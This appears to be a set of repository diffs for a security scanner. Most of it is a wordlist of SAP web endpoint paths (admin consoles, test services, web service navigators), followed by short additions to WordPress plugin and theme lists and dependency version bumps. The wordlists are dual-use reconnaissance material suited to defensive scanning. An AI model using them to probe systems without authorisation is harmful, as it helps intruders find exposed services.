||||
sap/bc/srm
|
||||
sap/bc/srm/rcm_webdav
|
||||
sap/bc/srm/rcm_webdav/
|
||||
sap/bc/srm/rcm_webdav/s_area_cmg
|
||||
sap/bc/srm/rcm_webdav/s_area_rms
|
||||
sap/bc/srt
|
||||
sap/bc/srt/
|
||||
sap/bc/srt/IDoc
|
||||
sap/bc/srt/esf
|
||||
sap/bc/srt/rfc
|
||||
sap/bc/srt/rfc/
|
||||
sap/bc/srt/rfc/OSP
|
||||
sap/bc/srt/rfc/sap
|
||||
sap/bc/srt/sap/
|
||||
sap/bc/srt/sap/Detailed_flight_info_get
|
||||
sap/bc/srt/sap/ER_REGISTRY_SUPPORT_SERVICE
|
||||
sap/bc/srt/sap/II_TEST_IN_SYNC
|
||||
sap/bc/srt/sap/ME_RT_DSD_WS_64
|
||||
sap/bc/srt/sap/QUERY_VIEW_DATA
|
||||
sap/bc/srt/sap/RSDAW_NEARLINE_SERVER
|
||||
sap/bc/srt/sap/RSOBJSALTERNODEREFS
|
||||
sap/bc/srt/sap/RSOBJS_ALTER_NODE_REFS
|
||||
sap/bc/srt/sap/RSOBJS_CHECK
|
||||
sap/bc/srt/sap/RSOBJS_DELETE
|
||||
sap/bc/srt/sap/RSOBJS_GET_NODES
|
||||
sap/bc/srt/sap/RSOBJS_INIT
|
||||
sap/bc/srt/sap/RSOBJS_WHERE_USED_LIST
|
||||
sap/bc/srt/sap/RSPO_SXOMS_DEFINE_PRINTER
|
||||
sap/bc/srt/sap/RSPO_SXOMS_DELETE_PRINTER
|
||||
sap/bc/srt/sap/RSPO_SXOMS_GET_DEVICE_TYPES
|
||||
sap/bc/srt/sap/RSPO_SXOMS_GET_TRAY_INFO
|
||||
sap/bc/srt/sap/RSPO_SXOMS_PUSH_ROMS_LOMS
|
||||
sap/bc/srt/sap/RSPO_SXOMS_UPDATE_PRINTER
|
||||
sap/bc/srt/sap/SAP_RPE_SEQUENCE
|
||||
sap/bc/srt/sap/SBIZC_AUTHOR
|
||||
sap/bc/srt/sap/SBIZC_AUTHORING
|
||||
sap/bc/srt/sap/SBIZC_DETAIL
|
||||
sap/bc/srt/sap/SBIZC_TEST_AUTHOR_INIT
|
||||
sap/bc/srt/sap/SBIZC_WS_TEST
|
||||
sap/bc/srt/sap/SRTFT_MASS_CONFIGURATION
|
||||
sap/bc/srt/sap/SRTFT_SYSTEM_METADATA_ACCESS
|
||||
sap/bc/srt/sap/SRT_TESTS_FB_ADD_WS
|
||||
sap/bc/srt/sap/SRT_TESTS_FB_PAR_TEST01_WS
|
||||
sap/bc/srt/sap/SRT_TESTS_FB_PAR_TEST02_WS
|
||||
sap/bc/srt/sap/SRT_TESTS_FB_PAR_TEST03_WS
|
||||
sap/bc/srt/sap/SRT_TESTS_FB_SUM_WS
|
||||
sap/bc/srt/sap/SXIDAL_FLIGHTSEATAVAIL_CHECK
|
||||
sap/bc/srt/sap/SYNCCALLSECURITYHIGHNOAUTOGEN
|
||||
sap/bc/srt/sap/SYNCCALLSECURITYLOWAUTOGEN
|
||||
sap/bc/srt/sap/TEST_WEBSERVICE_WRITE
|
||||
sap/bc/srt/sap/WDYBUILDINBOX
|
||||
sap/bc/srt/sap/WDYGETDC
|
||||
sap/bc/srt/sap/WDYGETTF
|
||||
sap/bc/srt/sap/WDYSETDC
|
||||
sap/bc/srt/sap/WDYUPDATETF
|
||||
sap/bc/srt/sap/WS_ORDER_BE_IN
|
||||
sap/bc/srt/sap/ob_wsd_test02
|
||||
sap/bc/srt/sap/xmla
|
||||
sap/bc/srt/wsil
|
||||
sap/bc/srt/xip
|
||||
sap/bc/srt/xip/sap
|
||||
sap/bc/testzone
|
||||
sap/bc/testzone/
|
||||
sap/bc/testzone/depot_select
|
||||
sap/bc/testzone/result_rep
|
||||
sap/bc/verification/
|
||||
sap/bc/verification/itsplugin
|
||||
sap/bc/verification/stateful_ping
|
||||
sap/bc/wappush
|
||||
sap/bc/wd_trace_tool
|
||||
sap/bc/wdvd
|
||||
sap/bc/webapp
|
||||
sap/bc/webdynpro
|
||||
sap/bc/webdynpro/sap
|
||||
sap/bc/webdynpro/sap/
|
||||
sap/bc/webdynpro/sap/CCMSBI_WAST_EXTR_TESTENV
|
||||
sap/bc/webdynpro/sap/CNP_LIGHT_TEST
|
||||
sap/bc/webdynpro/sap/DBA_COCKPIT
|
||||
sap/bc/webdynpro/sap/DEMO_CONTEXT_CHANGES
|
||||
sap/bc/webdynpro/sap/DEMO_ROADMAP
|
||||
sap/bc/webdynpro/sap/DEMO_SIMPLE_MAIN
|
||||
sap/bc/webdynpro/sap/DEMO_TABLE
|
||||
sap/bc/webdynpro/sap/DEMO_TABLE_WITH_TREE_BY_KEY
|
||||
sap/bc/webdynpro/sap/DEMO_TABLE_WITH_TREE_BY_NST
|
||||
sap/bc/webdynpro/sap/DemoDynamic
|
||||
sap/bc/webdynpro/sap/DemoTree
|
||||
sap/bc/webdynpro/sap/EXAMPLE_WDABAP_3
|
||||
sap/bc/webdynpro/sap/KEY_FIGURE_MONITOR
|
||||
sap/bc/webdynpro/sap/KEY_FIGURE_TREND
|
||||
sap/bc/webdynpro/sap/MASTERMIND
|
||||
sap/bc/webdynpro/sap/OTHELLO
|
||||
sap/bc/webdynpro/sap/POWL
|
||||
sap/bc/webdynpro/sap/POWL_COLLECTOR
|
||||
sap/bc/webdynpro/sap/POWL_MASTER_QUERY
|
||||
sap/bc/webdynpro/sap/POWL_PERS_COMP
|
||||
sap/bc/webdynpro/sap/RCM_DOC_CLIENT_test
|
||||
sap/bc/webdynpro/sap/RCM_ORGANIZER
|
||||
sap/bc/webdynpro/sap/RCM_RECORD
|
||||
sap/bc/webdynpro/sap/RCM_SP
|
||||
sap/bc/webdynpro/sap/RCM_SP_URL
|
||||
sap/bc/webdynpro/sap/SALV_WD_DEMO_TABLE_ALVFNC
|
||||
sap/bc/webdynpro/sap/SALV_WD_DEMO_TABLE_COLORS
|
||||
sap/bc/webdynpro/sap/SALV_WD_DEMO_TABLE_COLSCR
|
||||
sap/bc/webdynpro/sap/SALV_WD_DEMO_TABLE_CV
|
||||
sap/bc/webdynpro/sap/SALV_WD_DEMO_TABLE_EDIT
|
||||
sap/bc/webdynpro/sap/SALV_WD_DEMO_TABLE_EVENTS
|
||||
sap/bc/webdynpro/sap/SALV_WD_DEMO_TABLE_F4
|
||||
sap/bc/webdynpro/sap/SALV_WD_DEMO_TABLE_MIG
|
||||
sap/bc/webdynpro/sap/SALV_WD_DEMO_TABLE_PARTS
|
||||
sap/bc/webdynpro/sap/SALV_WD_DEMO_TABLE_PROPS
|
||||
sap/bc/webdynpro/sap/SALV_WD_DEMO_TABLE_SIMPLE
|
||||
sap/bc/webdynpro/sap/SALV_WD_DEMO_TABLE_TOL
|
||||
sap/bc/webdynpro/sap/SALV_WD_DEMO_TABLE_TOOLBR
|
||||
sap/bc/webdynpro/sap/SALV_WD_DEMO_TABLE_TREE
|
||||
sap/bc/webdynpro/sap/SALV_WD_TEST_DATA
|
||||
sap/bc/webdynpro/sap/SALV_WD_TEST_DATA_DOWNLOAD
|
||||
sap/bc/webdynpro/sap/SALV_WD_TEST_TABLE_ALVFNC
|
||||
sap/bc/webdynpro/sap/SALV_WD_TEST_TABLE_COLORS
|
||||
sap/bc/webdynpro/sap/SALV_WD_TEST_TABLE_COLSCR
|
||||
sap/bc/webdynpro/sap/SALV_WD_TEST_TABLE_CV
|
||||
sap/bc/webdynpro/sap/SALV_WD_TEST_TABLE_EDIT
|
||||
sap/bc/webdynpro/sap/SALV_WD_TEST_TABLE_EDIT_M
|
||||
sap/bc/webdynpro/sap/SALV_WD_TEST_TABLE_EVENTS
|
||||
sap/bc/webdynpro/sap/SALV_WD_TEST_TABLE_IN_WDW
|
||||
sap/bc/webdynpro/sap/SALV_WD_TEST_TABLE_PROPS
|
||||
sap/bc/webdynpro/sap/SALV_WD_TEST_TABLE_SELECT
|
||||
sap/bc/webdynpro/sap/SALV_WD_TEST_TABLE_SIMPLE
|
||||
sap/bc/webdynpro/sap/SALV_WD_TEST_TABLE_TOOLBR
|
||||
sap/bc/webdynpro/sap/SALV_WD_TEST_TABLE_TREE
|
||||
sap/bc/webdynpro/sap/TEST_BAD_LINK
|
||||
sap/bc/webdynpro/sap/TEST_MODIFY_VIEW
|
||||
sap/bc/webdynpro/sap/TEST_RUNTIME_REPOSITORY
|
||||
sap/bc/webdynpro/sap/TestUpload
|
||||
sap/bc/webdynpro/sap/WDK_A_SE91
|
||||
sap/bc/webdynpro/sap/WDK_SPOOL_TO_PDF
|
||||
sap/bc/webdynpro/sap/WDR_DOCU_HELPER
|
||||
sap/bc/webdynpro/sap/WDR_MESSAGE_AREA
|
||||
sap/bc/webdynpro/sap/WDR_TEST_ADOBE
|
||||
sap/bc/webdynpro/sap/WDR_TEST_DDIC_SHLP
|
||||
sap/bc/webdynpro/sap/WDR_TEST_DOCU
|
||||
sap/bc/webdynpro/sap/WDR_TEST_EVENTS
|
||||
sap/bc/webdynpro/sap/WDR_TEST_ICON_SOURCES
|
||||
sap/bc/webdynpro/sap/WDR_TEST_IT05
|
||||
sap/bc/webdynpro/sap/WDR_TEST_JNDI_PROVIDER
|
||||
sap/bc/webdynpro/sap/WDR_TEST_LAYOUTS
|
||||
sap/bc/webdynpro/sap/WDR_TEST_MODIFY_VIEW
|
||||
sap/bc/webdynpro/sap/WDR_TEST_NAVIGATION
|
||||
sap/bc/webdynpro/sap/WDR_TEST_OVS
|
||||
sap/bc/webdynpro/sap/WDR_TEST_P00001
|
||||
sap/bc/webdynpro/sap/WDR_TEST_P00002
|
||||
sap/bc/webdynpro/sap/WDR_TEST_P00003
|
||||
sap/bc/webdynpro/sap/WDR_TEST_P13N
|
||||
sap/bc/webdynpro/sap/WDR_TEST_POPUPS
|
||||
sap/bc/webdynpro/sap/WDR_TEST_POPUPS_RT
|
||||
sap/bc/webdynpro/sap/WDR_TEST_PORTAL_EVENT_FIRE
|
||||
sap/bc/webdynpro/sap/WDR_TEST_PORTAL_EVENT_FIRE2
|
||||
sap/bc/webdynpro/sap/WDR_TEST_PORTAL_EVENT_FIRE_POP
|
||||
sap/bc/webdynpro/sap/WDR_TEST_PORTAL_EVENT_REC
|
||||
sap/bc/webdynpro/sap/WDR_TEST_PORTAL_EVENT_REC2
|
||||
sap/bc/webdynpro/sap/WDR_TEST_PORTAL_EVENT_REC_POP
|
||||
sap/bc/webdynpro/sap/WDR_TEST_PORTAL_NAV_OBN
|
||||
sap/bc/webdynpro/sap/WDR_TEST_PORTAL_NAV_PAGE
|
||||
sap/bc/webdynpro/sap/WDR_TEST_PORTAL_NAV_TARGET
|
||||
sap/bc/webdynpro/sap/WDR_TEST_PORTAL_OBN_POPUP
|
||||
sap/bc/webdynpro/sap/WDR_TEST_PORTAL_OBN_WS
|
||||
sap/bc/webdynpro/sap/WDR_TEST_PORTAL_OBN_WS_IN
|
||||
sap/bc/webdynpro/sap/WDR_TEST_PORTAL_WORKPROTECT
|
||||
sap/bc/webdynpro/sap/WDR_TEST_RUNTIME
|
||||
sap/bc/webdynpro/sap/WDR_TEST_TABLE
|
||||
sap/bc/webdynpro/sap/WDR_TEST_WINDOW_CHILD
|
||||
sap/bc/webdynpro/sap/WDR_TEST_WINDOW_CLOSE
|
||||
sap/bc/webdynpro/sap/WDR_TEST_WINDOW_ERROR
|
||||
sap/bc/webdynpro/sap/WDR_TEST_WINDOW_LOGOFF
|
||||
sap/bc/webdynpro/sap/WDR_TEST_WINDOW_RESUME
|
||||
sap/bc/webdynpro/sap/WDR_TEST_WINDOW_SUITE
|
||||
sap/bc/webdynpro/sap/WDR_TEST_WINDOW_SUSRES_A
|
||||
sap/bc/webdynpro/sap/WDR_TEST_WINDOW_SUSRES_B
|
||||
sap/bc/webdynpro/sap/WDR_UIE_LIBRARY
|
||||
sap/bc/webdynpro/sap/apb_launchpad
|
||||
sap/bc/webdynpro/sap/apb_launchpad_nwbc
|
||||
sap/bc/webdynpro/sap/apb_lpd_light_start
|
||||
sap/bc/webdynpro/sap/apb_lpd_start_url
|
||||
sap/bc/webdynpro/sap/appl_log_trc_viewer
|
||||
sap/bc/webdynpro/sap/appl_soap_management
|
||||
sap/bc/webdynpro/sap/application_exit
|
||||
sap/bc/webdynpro/sap/ccmsbi_wast_extr_testenv
|
||||
sap/bc/webdynpro/sap/cnp_light_test
|
||||
sap/bc/webdynpro/sap/configure_application
|
||||
sap/bc/webdynpro/sap/configure_component
|
||||
sap/bc/webdynpro/sap/demo_messages
|
||||
sap/bc/webdynpro/sap/demo_messages2
|
||||
sap/bc/webdynpro/sap/demo_variable_dropdown
|
||||
sap/bc/webdynpro/sap/demo_wda_quiz
|
||||
sap/bc/webdynpro/sap/demo_wda_table
|
||||
sap/bc/webdynpro/sap/esh_adm_smoketest_ui
|
||||
sap/bc/webdynpro/sap/esh_admin_ui_component
|
||||
sap/bc/webdynpro/sap/esh_eng_modelling
|
||||
sap/bc/webdynpro/sap/esh_search_results.ui
|
||||
sap/bc/webdynpro/sap/ios_test_helloworld_ms
|
||||
sap/bc/webdynpro/sap/ios_test_helloworld_so
|
||||
sap/bc/webdynpro/sap/ios_test_simple_ms
|
||||
sap/bc/webdynpro/sap/ios_test_simple_so
|
||||
sap/bc/webdynpro/sap/its
|
||||
sap/bc/webdynpro/sap/powl_test_feeder
|
||||
sap/bc/webdynpro/sap/ptm_assign_s_ui
|
||||
sap/bc/webdynpro/sap/ptm_jf_worklist_ui
|
||||
sap/bc/webdynpro/sap/ptm_maintain_jf_ui
|
||||
sap/bc/webdynpro/sap/rcm_multistring_edit_example
|
||||
sap/bc/webdynpro/sap/rcm_poid_info_example
|
||||
sap/bc/webdynpro/sap/rcm_property_query_example
|
||||
sap/bc/webdynpro/sap/salv_wd_demo_table_dfault
|
||||
sap/bc/webdynpro/sap/salv_wd_submit
|
||||
sap/bc/webdynpro/sap/salv_wd_test_col_field
|
||||
sap/bc/webdynpro/sap/salv_wd_test_conf_caller
|
||||
sap/bc/webdynpro/sap/salv_wd_test_config1
|
||||
sap/bc/webdynpro/sap/salv_wd_test_config_api
|
||||
sap/bc/webdynpro/sap/salv_wd_test_config_api2
|
||||
sap/bc/webdynpro/sap/salv_wd_test_datatypes
|
||||
sap/bc/webdynpro/sap/salv_wd_test_dyn1
|
||||
sap/bc/webdynpro/sap/salv_wd_test_extended
|
||||
sap/bc/webdynpro/sap/salv_wd_test_file_upload
|
||||
sap/bc/webdynpro/sap/salv_wd_test_image1
|
||||
sap/bc/webdynpro/sap/salv_wd_test_modif1
|
||||
sap/bc/webdynpro/sap/salv_wd_test_no_ddic
|
||||
sap/bc/webdynpro/sap/salv_wd_test_non_portal
|
||||
sap/bc/webdynpro/sap/salv_wd_test_set_data
|
||||
sap/bc/webdynpro/sap/salv_wd_test_set_data1
|
||||
sap/bc/webdynpro/sap/salv_wd_test_simple1
|
||||
sap/bc/webdynpro/sap/salv_wd_test_table_edit2
|
||||
sap/bc/webdynpro/sap/salv_wd_test_table_f4
|
||||
sap/bc/webdynpro/sap/salv_wd_test_table_tol
|
||||
sap/bc/webdynpro/sap/salv_wd_test_table_tol2
|
||||
sap/bc/webdynpro/sap/salv_wd_test_translation
|
||||
sap/bc/webdynpro/sap/sh_adm_smoketest_files
|
||||
sap/bc/webdynpro/sap/test_ddic
|
||||
sap/bc/webdynpro/sap/wd_analyze_config_appl
|
||||
sap/bc/webdynpro/sap/wd_analyze_config_comp
|
||||
sap/bc/webdynpro/sap/wd_analyze_config_default
|
||||
sap/bc/webdynpro/sap/wd_analyze_config_user
|
||||
sap/bc/webdynpro/sap/wd_layout_cnp_light
|
||||
sap/bc/webdynpro/sap/wd_personalize_ddic_valuehelp
|
||||
sap/bc/webdynpro/sap/wd_tut_alv
|
||||
sap/bc/webdynpro/sap/wd_tut_componentdetail
|
||||
sap/bc/webdynpro/sap/wd_tut_componentusage
|
||||
sap/bc/webdynpro/sap/wd_tut_dialogboxes
|
||||
sap/bc/webdynpro/sap/wdhc_application
|
||||
sap/bc/webdynpro/sap/wdk_gaf_template
|
||||
sap/bc/webdynpro/sap/wdk_oif_template
|
||||
sap/bc/webdynpro/sap/wdk_qaf_template
|
||||
sap/bc/webdynpro/sap/wdr_inplace_demo1
|
||||
sap/bc/webdynpro/sap/wdr_inplace_demo2
|
||||
sap/bc/webdynpro/sap/wdr_ovs_test
|
||||
sap/bc/webdynpro/sap/wdr_package_srvs
|
||||
sap/bc/webdynpro/sap/wdr_popup_to_confirm_test
|
||||
sap/bc/webdynpro/sap/wdr_replace_if_wdl
|
||||
sap/bc/webdynpro/sap/wdr_test_adobe_pdf_only
|
||||
sap/bc/webdynpro/sap/wdr_test_appl_def_vh
|
||||
sap/bc/webdynpro/sap/wdr_test_application_api
|
||||
sap/bc/webdynpro/sap/wdr_test_bg_blend
|
||||
sap/bc/webdynpro/sap/wdr_test_chat
|
||||
sap/bc/webdynpro/sap/wdr_test_cmp_usage_group
|
||||
sap/bc/webdynpro/sap/wdr_test_cmpusage
|
||||
sap/bc/webdynpro/sap/wdr_test_cmpusage4
|
||||
sap/bc/webdynpro/sap/wdr_test_config
|
||||
sap/bc/webdynpro/sap/wdr_test_config2
|
||||
sap/bc/webdynpro/sap/wdr_test_configmain
|
||||
sap/bc/webdynpro/sap/wdr_test_context
|
||||
sap/bc/webdynpro/sap/wdr_test_dynamic
|
||||
sap/bc/webdynpro/sap/wdr_test_enhancements
|
||||
sap/bc/webdynpro/sap/wdr_test_exit_plug
|
||||
sap/bc/webdynpro/sap/wdr_test_ext_mapping
|
||||
sap/bc/webdynpro/sap/wdr_test_extended_path
|
||||
sap/bc/webdynpro/sap/wdr_test_gantt
|
||||
sap/bc/webdynpro/sap/wdr_test_global_settings
|
||||
sap/bc/webdynpro/sap/wdr_test_help
|
||||
sap/bc/webdynpro/sap/wdr_test_input
|
||||
sap/bc/webdynpro/sap/wdr_test_it05_nopatt
|
||||
sap/bc/webdynpro/sap/wdr_test_mailto
|
||||
sap/bc/webdynpro/sap/wdr_test_mandatory
|
||||
sap/bc/webdynpro/sap/wdr_test_misc
|
||||
sap/bc/webdynpro/sap/wdr_test_msg_manager_00
|
||||
sap/bc/webdynpro/sap/wdr_test_navigation6
|
||||
sap/bc/webdynpro/sap/wdr_test_navigation7
|
||||
sap/bc/webdynpro/sap/wdr_test_navigation_00
|
||||
sap/bc/webdynpro/sap/wdr_test_ovs2
|
||||
sap/bc/webdynpro/sap/wdr_test_p00004
|
||||
sap/bc/webdynpro/sap/wdr_test_p00006
|
||||
sap/bc/webdynpro/sap/wdr_test_p00007
|
||||
sap/bc/webdynpro/sap/wdr_test_p00008
|
||||
sap/bc/webdynpro/sap/wdr_test_p00009
|
||||
sap/bc/webdynpro/sap/wdr_test_p00010
|
||||
sap/bc/webdynpro/sap/wdr_test_p00011
|
||||
sap/bc/webdynpro/sap/wdr_test_paddless_window
|
||||
sap/bc/webdynpro/sap/wdr_test_pers_imp
|
||||
sap/bc/webdynpro/sap/wdr_test_pers_imp_exp
|
||||
sap/bc/webdynpro/sap/wdr_test_popup_01
|
||||
sap/bc/webdynpro/sap/wdr_test_popup_inplug
|
||||
sap/bc/webdynpro/sap/wdr_test_popup_to_confirm
|
||||
sap/bc/webdynpro/sap/wdr_test_popups_rt
|
||||
sap/bc/webdynpro/sap/wdr_test_popups_rt_00
|
||||
sap/bc/webdynpro/sap/wdr_test_select_options
|
||||
sap/bc/webdynpro/sap/wdr_test_ui_elements
|
||||
sap/bc/webdynpro/sap/wdr_test_ur_browser
|
||||
sap/bc/webdynpro/sap/wdr_transport_srvs
|
||||
sap/bc/webdynpro/sap/wdt_alv
|
||||
sap/bc/webdynpro/sap/wdt_bg_scatter
|
||||
sap/bc/webdynpro/sap/wdt_componentdetail
|
||||
sap/bc/webdynpro/sap/wdt_componentusage
|
||||
sap/bc/webdynpro/sap/wdt_dialogboxes
|
||||
sap/bc/webdynpro/sap/wdt_ext_map_reuse
|
||||
sap/bc/webdynpro/sap/wdt_flightlist
|
||||
sap/bc/webdynpro/sap/wdt_master_detail
|
||||
sap/bc/webdynpro/sap/wdt_quiz
|
||||
sap/bc/webdynpro/sap/wdt_table
|
||||
sap/bc/webdynpro/sap/wdt_tree
|
||||
sap/bc/webdynpro/sap/wdt_tree_table_by_key
|
||||
sap/bc/webflow
|
||||
sap/bc/webflow/
|
||||
sap/bc/webflow/demo
|
||||
sap/bc/webflow/demo/
|
||||
sap/bc/webflow/demo/trareq_update
|
||||
sap/bc/webflow/demo/wf_demo_calc_01
|
||||
sap/bc/webflow/test
|
||||
sap/bc/webflow/test/
|
||||
sap/bc/webflow/test/get_data
|
||||
sap/bc/webflow/test/inc_async
|
||||
sap/bc/webflow/test/inc_sync
|
||||
sap/bc/webflow/test/test_datatypes
|
||||
sap/bc/webflow/test/test_get_xml
|
||||
sap/bc/webflow/test/test_show_xml
|
||||
sap/bc/webflow/wshandler
|
||||
sap/bc/webrfc
|
||||
sap/bc/workflow
|
||||
sap/bc/workflow/
|
||||
sap/bc/workflow/shortcut
|
||||
sap/bc/workflow/workflow_api
|
||||
sap/bc/workflow_xml
|
||||
sap/bc/xmb
|
||||
sap/bc/xml
|
||||
sap/bc/xmsmsg
|
||||
sap/bc/xrfc
|
||||
sap/bc/xrfc_test
|
||||
sap/bw
|
||||
sap/ca
|
||||
sap/ca/att_provide
|
||||
sap/crm
|
||||
sap/es/cockpit
|
||||
sap/es/getdocument
|
||||
sap/es/opensearch
|
||||
sap/es/opensearch/description
|
||||
sap/es/opensearch/list
|
||||
sap/es/opensearch/search
|
||||
sap/es/redirect
|
||||
sap/es/saplink
|
||||
sap/es/search
|
||||
sap/icm/admin
|
||||
sap/meData
|
||||
sap/monitoring
|
||||
sap/monitoring/
|
||||
sap/monitoring/ComponentInfo
|
||||
sap/monitoring/SystemInfo
|
||||
sap/option
|
||||
sap/public
|
||||
sap/public/
|
||||
sap/public/bc
|
||||
sap/public/bc/
|
||||
sap/public/bc/NWDEMO_MODEL
|
||||
sap/public/bc/NW_ESH_TST_AUTO
|
||||
sap/public/bc/icons
|
||||
sap/public/bc/icons_rtl
|
||||
sap/public/bc/its
|
||||
sap/public/bc/its/
|
||||
sap/public/bc/its/designs
|
||||
sap/public/bc/its/mimes
|
||||
sap/public/bc/its/mimes/system/SL/page/hourglass.html
|
||||
sap/public/bc/its/mobile/itsmobile00
|
||||
sap/public/bc/its/mobile/itsmobile01
|
||||
sap/public/bc/its/mobile/rfid
|
||||
sap/public/bc/its/mobile/start
|
||||
sap/public/bc/its/mobile/test
|
||||
sap/public/bc/pictograms
|
||||
sap/public/bc/sicf_login_run
|
||||
sap/public/bc/trex
|
||||
sap/public/bc/ur
|
||||
sap/public/bc/wdtracetool
|
||||
sap/public/bc/webdynpro
|
||||
sap/public/bc/webdynpro/
|
||||
sap/public/bc/webdynpro/ViewDesigner
|
||||
sap/public/bc/webdynpro/adobeChallenge
|
||||
sap/public/bc/webdynpro/adobechallenge
|
||||
sap/public/bc/webdynpro/mimes
|
||||
sap/public/bc/webdynpro/ssr
|
||||
sap/public/bc/webdynpro/viewdesigner
|
||||
sap/public/bc/webicons
|
||||
sap/public/bc/workflow
|
||||
sap/public/bc/workflow/shortcut
|
||||
sap/public/bsp
|
||||
sap/public/bsp/sap
|
||||
sap/public/bsp/sap/
|
||||
sap/public/bsp/sap/htmlb
|
||||
sap/public/bsp/sap/public
|
||||
sap/public/bsp/sap/public/
|
||||
sap/public/bsp/sap/public/ISE
|
||||
sap/public/bsp/sap/public/bc
|
||||
sap/public/bsp/sap/public/faa
|
||||
sap/public/bsp/sap/public/graphics
|
||||
sap/public/bsp/sap/public/graphics/
|
||||
sap/public/bsp/sap/public/graphics/jnet_handler
|
||||
sap/public/bsp/sap/public/graphics/mimes
|
||||
sap/public/bsp/sap/system
|
||||
sap/public/bsp/sap/system_public
|
||||
sap/public/icf_check
|
||||
sap/public/icf_info
|
||||
sap/public/icf_info/
|
||||
sap/public/icf_info/icr_groups
|
||||
sap/public/icf_info/icr_urlprefix
|
||||
sap/public/icf_info/logon_groups
|
||||
sap/public/icf_info/urlprefix
|
||||
sap/public/icman
|
||||
sap/public/info
|
||||
sap/public/myssocntl
|
||||
sap/public/ping
|
||||
sap/wdvd
|
||||
sap/webcuif
|
||||
sap/webdynpro/sap/hap_main_document
|
||||
sap/webdynpro/sap/hap_start_page_powl_ui_ess
|
||||
sap/webdynpro/sap/hap_store_page_powl_ui_mss
|
||||
sap/webdynpro/sap/hrtmc_employee_profile
|
||||
sap/webdynpro/sap/hrtmc_rm_maintenance
|
||||
sap/webdynpro/sap/hrtmc_ta_assessment
|
||||
sap/webdynpro/sap/hrtmc_ta_dashboard
|
||||
sap/webdynpro/sap/wd_analyze_config_user
|
||||
sap/xi
|
||||
sap/xi/
|
||||
sap/xi/adapter_plain
|
||||
sap/xi/cache
|
||||
sap/xi/cache_gui
|
||||
sap/xi/cache_gui_ssl
|
||||
sap/xi/cache_ssl
|
||||
sap/xi/docu_apperror
|
||||
sap/xi/docu_syserror
|
||||
sap/xi/engine
|
||||
sap/xi/engine_test
|
||||
sap/xi/simulation
|
||||
sap/xml/
|
||||
sap/xml/cwm
|
||||
sap/xml/soap
|
||||
sap/xml/soap/xmla
|
||||
sap/xml/soap/xmla/fault
|
||||
sap_java
|
||||
sap_java/bc
|
||||
sapmc
|
||||
sapmc/sapmc.html
|
||||
sapse/startsld
|
||||
servlet/com.sap.admin.Critical.Actio
|
||||
sim/
|
||||
sim/config/testdata.jsp
|
||||
sim/config/testerror.jsp
|
||||
sim/index.html
|
||||
sld
|
||||
slm
|
||||
slmServices/config
|
||||
slmServices/config?wsdl
|
||||
slmSolManServices/Config1
|
||||
socoview
|
||||
socoview/flddisplay.asp
|
||||
sp
|
||||
spml
|
||||
sysconfig
|
||||
tc.lm.webadmin.endtoend.public.app
|
||||
tc/lm/webadmin/clusteradmin
|
||||
teched/test
|
||||
test30
|
||||
top.html
|
||||
uddi
|
||||
uddiclient
|
||||
uddiclient/jsps/index.jsp
|
||||
useradmin
|
||||
useradmin/index.jsp
|
||||
userhome/
|
||||
utl
|
||||
vscantest
|
||||
vscantest/
|
||||
webdynpro
|
||||
webdynpro/dispatcher
|
||||
webdynpro/dispatcher/sap.com/grc~accvwdcomp
|
||||
webdynpro/dispatcher/sap.com/grc~aewebquery
|
||||
webdynpro/dispatcher/sap.com/grc~ccappcomp
|
||||
webdynpro/dispatcher/sap.com/grc~ccxsysbe
|
||||
webdynpro/dispatcher/sap.com/grc~ccxsysbehr
|
||||
webdynpro/dispatcher/sap.com/grc~ffappcomp
|
||||
webdynpro/dispatcher/sap.com/pb/pagebuilder
|
||||
webdynpro/dispatcher/sap.com/tc~kmc~bc.uwl.ui~wd_ui
|
||||
webdynpro/dispatcher/sap.com/tc~kmc~bc.uwl.ui~wd_ui/uwl
|
||||
webdynpro/dispatcher/sap.com/tc~kmc~bc.uwl.ui~wd_ui/uwldetail
|
||||
webdynpro/dispatcher/sap.com/tc~kmc~bc.uwl.ui~wd_ui/uwldisplayhistory
|
||||
webdynpro/dispatcher/sap.com/tc~lm~webadmin~mainframe~wd/WebAdminApp
|
||||
webdynpro/dispatcher/sap.com/tc~sec~ume~wd~enduser/UmeEnduserApp
|
||||
webdynpro/dispatcher/sap.com/tc~wd~dispwda/servlet_jsp/webdynpro/welcome/root/Welcome.jsp
|
||||
webdynpro/dispatcher/sap.com/tc~wd~tools
|
||||
webdynpro/dispatcher/sap.com/tc~wd~tools/Explorer
|
||||
webdynpro/dispatcher/sap.com/tc~wd~tools/WebDynproConsole
|
||||
webdynpro/dispatcher/sap.com/tc~wd~tools/explorer
|
||||
webdynpro/dispatcher/virsa/ccappcomp/ComplianceCalibrator
|
||||
webdynpro/resources/sap.com/
|
||||
webdynpro/welcome
|
||||
webdynpro/welcome/Welcome.jsp
|
||||
wsd2wsdl
|
||||
wsnavigator
|
||||
wsnavigator/enterwsdl.html
|
||||
wsnavigator/jsps/redirect.jsp
|
||||
wsnavigator/jsps/sendrequest.jsp
|
||||
wsnavigator/jsps/test.jsp
|
||||
wssproc/cert
|
||||
wssproc/plain
|
||||
wssproc/ssl
|
||||
|
||||
@@ -59,3 +59,6 @@ bookingpress
|
||||
paid-memberships-pro
|
||||
woocommerce-payments
|
||||
file-manager-advanced-shortcode
|
||||
royal-elementor-addons
|
||||
backup-backup
|
||||
hash-form
|
||||
|
||||
@@ -1,2 +1,3 @@
|
||||
holding_pattern
|
||||
wplms
|
||||
bricks
|
||||
|
||||
@@ -34566,6 +34566,7 @@ hash-comment-ip
|
||||
hash-converter
|
||||
hash-coupon
|
||||
hash-elements
|
||||
hash-form
|
||||
hash-hash-tags
|
||||
hash-link-scroll-offset
|
||||
hashbar-wp-notification-bar
|
||||
|
||||
+20018
-2934
File diff suppressed because it is too large
Load Diff
+3
-1
@@ -76,11 +76,13 @@ GEM
|
||||
rb-fsevent (0.11.2)
|
||||
rb-inotify (0.10.1)
|
||||
ffi (~> 1.0)
|
||||
rexml (3.2.5)
|
||||
rexml (3.2.7)
|
||||
strscan (>= 3.0.9)
|
||||
rouge (4.0.0)
|
||||
safe_yaml (1.0.5)
|
||||
sassc (2.4.0)
|
||||
ffi (~> 1.9)
|
||||
strscan (3.1.0)
|
||||
terminal-table (3.0.2)
|
||||
unicode-display_width (>= 1.1.1, < 3)
|
||||
unicode-display_width (2.3.0)
|
||||
|
||||
+1
-1
@@ -32,7 +32,7 @@ exclude:
|
||||
# just-the-docs config
|
||||
mermaid_enabled: true
|
||||
mermaid:
|
||||
version: "9.2.2"
|
||||
version: "10.8.0"
|
||||
heading_anchors: true
|
||||
aux_links_new_tab: true
|
||||
